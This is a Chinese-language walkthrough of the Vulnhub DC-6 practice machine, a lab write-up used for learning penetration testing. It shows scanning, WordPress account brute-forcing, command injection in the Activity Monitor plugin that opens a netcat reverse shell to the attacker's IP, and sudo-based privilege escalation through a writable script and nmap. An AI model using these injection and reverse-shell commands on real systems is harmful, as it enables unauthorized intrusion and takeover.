Vulnhub-DC-6
环境配置
vulnhub 下载此靶机,下载地址如下:
1 | https://download.vulnhub.com/dc/DC-6.zip |
将靶机设置为 NAT 模式,开机即可,配置说明如下:
1 | 攻击机ip:192.168.52.128 |
信息收集
端口扫描
首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.133
1 | nmap -sP 192.168.52.0/24 |
使用 Nmap 全面扫一下开放的端口和运行的服务
1 | nmap -sT -A -p1-65535 -T4 -O -sV 192.168.52.133 |
扫描结果如下:系统开放了一个 SSH 服务(22 端口)、一个 HTTP 服务(80 端口)
1 | PORT STATE SERVICE VERSION |
网站信息收集
需要将域名解析到对应的 IP 地址才能访问网站,可以通过修改本地的 hosts 文件,添加如下映射:
1 | 192.168.52.133 wordy |
插件识别一下网站是 WordPress 搭建的
目录扫描
随便点点没啥有用的信息,使用 dirsearch 来扫一下目录看看有什么泄露的路径
1 | python .\dirsearch.py -u http://wordy/ |
登陆爆破
扫到登陆页面,使用 wpscan 来爆破一下网站中有哪些账号,发现五个账号
1 | wpscan --url http://wordy/ -e u |
将这五个账号写到 users.txt 中,然后根据靶机下载的地方作者给的提示提取一下密码字典
1 | cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt |
然后就可以开始爆破了,使用 wpscan 指定账号密码爆破
1 | wpscan --url http://wordy/ -U users.txt -P passwords.txt |
成功爆出一个账号密码 mark/helpdesk01
漏洞利用
插件命令执行
登陆到后台后,发现安装了插件 Activity Monitor,搜索发现存在 CVE-2018-15877 漏洞
来到插件位置,在 Tools 页面有一个查 IP 的地方,拼接执行任意命令
输入命令后点 Lookup 可以执行命令并有回显,确定可以成功执行
还是用 nc 才能成功反弹到 shell,这里输入框有长度限制,需要在前端改一下
1 | 127.0.0.1 | nc 192.168.52.128 2233 -e /bin/bash |
监听成功没回显,还是用 python 起一个终端方便操作
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
在 home 目录下有四个用户,在 mark 目录下有一个文件里写着账号密码,尝试 ssh 登陆,成功登陆拿到一个普通用户的权限
权限提升
拿到普通用户权限后,先 sudo -l 查看一下当前用户允许的 sudo 命令
当前用户 graham 可以以用户 jens 的身份无密码运行 /home/jens/backups.sh
脚本
我们先查看一下文件权限,发现 devs 组的用户可写,而当前用户刚好在 devs 组里
那我们就可以将 /bin/bash 写入 backups.sh 文件并以 jens 用户运行脚本,这样就可以得到一个 jens 用户权限的终端
1 | echo "/bin/bash" >> backups.sh |
得到 jens 用户权限的终端后再 sudo -l 即可查看 jens 用户允许的 sudo 命令,发现 jens 用户可以无密码以 root 权限允许 nmap
使用 GTFOBins 搜一下 nmap 的提权手法
第二种需要特定版本区间,很老的版本了,使用第一种方法,将命令写到 shell 文件中,sudo nmap 运行该脚本即可得到一个 root 权限的 shell,成功提权
1 | echo 'os.execute("/bin/sh")' > shell |